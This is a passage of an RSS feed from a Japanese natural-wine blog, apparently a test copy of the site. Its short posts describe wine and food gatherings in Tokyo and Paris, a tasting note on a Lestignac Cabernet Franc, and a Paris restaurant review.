The post 自然派ワインを誰よりも愛し続けてきた勝山さんと、　　　　　　　　　　　　　　　　　　　　お別れの時が来た…… appeared first on [TEST] Club Passion du Vin - Oeno Connexion.

]]> https://test.clubpassionduvin.com/2019-katsuyama-est-parti-au-ciel/feed 0 心あたたまる自然なウィークエンド／メリメロ、ジャングレ https://test.clubpassionduvin.com/2018-melimelo-ginglet-renejean https://test.clubpassionduvin.com/2018-melimelo-ginglet-renejean#respond Mon, 17 Dec 2018 15:21:40 +0000 https://clubpassionduvin.com/?p=14098 自然なワインに携わる多くの人達が集まった飯田橋のウィークエンド。 味噌造り講習があって、その後のお昼に色んな人が集まって来た。 私が逢いたかった人達に一挙に逢うことができた日だった。 顔を見ただけで心が通じ合ってしまう仲間のような存在の人達。 皆が元気に笑顔で逢えるだけで心が温まってくるメンバーだった。 飯田橋と云えば、メリメロとジャングレ。 昼はジャングレでは日本酒と味噌、醤油、そしてやさしく心温まる料理。 そして、メリメロではワインと特性ヤズおでんが提供されていた。 皆は、両方を行き来して楽しんでいた。 ちょん髷トリオが楽しそうだった。 　　 そして、あのSHIMBAのユウジさんがジャングレの厨房で、メリメロ１５周年記念の特別な一品を調理。 それを持ってメリメロへ。 宗像シェフの15周年を皆で祝った。 　　　　 ホワッとした心温まる空気が流れていた。 ここ飯田橋には、自然なワインを愛するホットな人達が集まるテロワール、ミクロクリマがある。 　　　　

The post 心あたたまる自然なウィークエンド／メリメロ、ジャングレ appeared first on [TEST] Club Passion du Vin - Oeno Connexion.

]]> https://test.clubpassionduvin.com/2018-melimelo-ginglet-renejean/feed 0 大江戸の粋なヌーヴォーの楽しみ方 https://test.clubpassionduvin.com/oedo-nouveaux-2018 https://test.clubpassionduvin.com/oedo-nouveaux-2018#respond Mon, 17 Dec 2018 14:49:57 +0000 https://clubpassionduvin.com/?p=14090 屋形船に乗って東京湾へ。 世界ソムリエール・コンクール5位、高級リゾートホテル・総料理長の梶川さんこと梶さん。 飛っきり美味しいヌーヴォーを醸すクリスト・パカレ。 毎日日本中を駆け回っているBMO社、Masakoさん。 クラブ・パッション・ド・ヴァンのMasaki. そして、私。 　 愉快なメンバーと屋形船に乗り込んだ。 大江戸の夜景が動き出した。 総料理長の梶さんが焼いてくれるもんじ焼、お好み焼き、焼きそば。 クリストが自分のヌーヴォーを開ける。 ジワジワと焼けてくるお好み焼きにクリストフ・ヌーヴォーを合わせる。 　　　　 日常あまり逢えない“志”の共通な仲間とやるこんなひと時は人生上の特別な一幕。有難う梶さん！ 屋形船で東京の日常を離れて、夜景になった雑踏を眺めながらヌーヴォーを楽しむのもいいもですよ！！

The post 大江戸の粋なヌーヴォーの楽しみ方 appeared first on [TEST] Club Passion du Vin - Oeno Connexion.

]]> https://test.clubpassionduvin.com/oedo-nouveaux-2018/feed 0 お好み焼きとトビッキリ繊細、上品なレスティニャック https://test.clubpassionduvin.com/lestignac-todachef https://test.clubpassionduvin.com/lestignac-todachef#respond Wed, 12 Dec 2018 18:05:18 +0000 https://clubpassionduvin.com/?p=14042 戸田シェフの超お勧めワイン。 Lestignacレスティニャック醸造のCallipygeカリピージュをあけた。 こんな繊細なワインがお好み焼き店で飲めるとは嬉しいかぎり 流石の戸田シェフ。 ★Lestignacレスティニャック醸造　　Callipygeカリピージュ ボルドーに限りなく近い西南部地方。 西南部地方でこんなに繊細で上品なワインが造れることを見せてくれた驚きの蔵元。 マティアスとカミーユは２００８年にお爺ちゃんの畑を引き継いだ。 最初からビオ栽培。１０年の歳月が過ぎて根っ子が石灰岩盤の中まで伸びている。 畑の微生物、昆虫、草も色んな種類のものがよみがえって生き生きしている。 カリピージュは、なんとカベルネ・フラン１００％。 自生酵母で酸化防止剤は入れてない。 除梗なしの葡萄丸ごと発酵槽にいれるセミ・マセラッション・カルボニック醸造。 ピジャージもルモンタージも一昨日やらない。ゆっくりと優しくタンニンと色素を抽出。 だから、ここまで優しく上品なスタイルになっている。 美味しいの一言。 （Lestignacレスティニャックのワインの問合せは、ラヴェニール社です。） 最後は戸田シェフもあがって一緒にゆったりと楽しんだ。

The post お好み焼きとトビッキリ繊細、上品なレスティニャック appeared first on [TEST] Club Passion du Vin - Oeno Connexion.

]]> https://test.clubpassionduvin.com/lestignac-todachef/feed 0 あのRepaire de Cartouche ルペール・ド・カルトゥッシュに日本酒の菊姫が… https://test.clubpassionduvin.com/repaire-de-cartouche-kikuhime https://test.clubpassionduvin.com/repaire-de-cartouche-kikuhime#respond Mon, 05 Nov 2018 16:50:03 +0000 https://clubpassionduvin.com/?p=13947 近い将来にこんな時代がやって来るだろう。 　　 世界のグローヴァル化時代での日本酒論を熱く語る宮川さん。 あくまで、菊姫らしさを語る由紀子さん。 二人の熱い熱い話が交わされた。 私からみると、どちらも正解。 こんな素晴らしい日本酒・菊姫がここ Paris で飲まれるようになってほしい！ これは二人の共通点。 　　 　

The post あのRepaire de Cartouche ルペール・ド・カルトゥッシュに日本酒の菊姫が… appeared first on [TEST] Club Passion du Vin - Oeno Connexion.

]]> https://test.clubpassionduvin.com/repaire-de-cartouche-kikuhime/feed 0 Repaire de Cartouche ルペール・ド・カルトゥッシュで　　　　　　　　　　　　　　　昼の歓迎会 https://test.clubpassionduvin.com/repaire-de-cartouche-fete-rentree https://test.clubpassionduvin.com/repaire-de-cartouche-fete-rentree#respond Fri, 02 Nov 2018 20:03:34 +0000 https://clubpassionduvin.com/?p=13872 ロドルフシェフの気合の入ったメニュでRyoさんのパリ帰省を祝った。 　　 めずらしくロドルフシェフが真面目に働いてた。 やあー、やっぱりロドルフ・シェフの料理は本当に旨い！！ 　　 昼の部、16：30時に昼食が終わった。 　　

The post Repaire de Cartouche ルペール・ド・カルトゥッシュで　　　　　　　　　　　　　　　昼の歓迎会 appeared first on [TEST] Club Passion du Vin - Oeno Connexion.

]]> https://test.clubpassionduvin.com/repaire-de-cartouche-fete-rentree/feed 0 パリの和食レストラン Kanadé で Marc Pesnot 　　　　　　　　　　　　　　　　　　マーク・ペノ https://test.clubpassionduvin.com/paris-restaurant-kanade-marc-pesnot https://test.clubpassionduvin.com/paris-restaurant-kanade-marc-pesnot#respond Fri, 28 Sep 2018 13:49:00 +0000 https://clubpassionduvin.com/?p=13365 寿司シェフYujiro ユウジロウさんとJulienジュリアンのベストなコンビ。 デザイナー・アーティストから料理人になった感性豊かなユウジロウさん。 超人気ビストロを仕切っていたサーヴィスのプロ、ジュリアン。この二人の名コンビの新進気鋭の店Kanadé 「奏で」。 フランスの田舎に出張に出ていて、パリに帰ってきたら食べたいと思っていたものが揃っている。 どんな料理もとっても美味しい！　　デザートも甘味を抑えあっさりしている。 その上、ジュリアンの心地よいサーヴィスでホットする。 そして、あのMarc Pesnotマーク・ペノのワインが飲める。 私にとっては、和食に自然なワイン、心地よい空間、こんな幸せな店はない。 　　

The post パリの和食レストラン Kanadé で Marc Pesnot 　　　　　　　　　　　　　　　　　　マーク・ペノ appeared first on [TEST] Club Passion du Vin - Oeno Connexion.

]]> https://test.clubpassionduvin.com/paris-restaurant-kanade-marc-pesnot/feed 0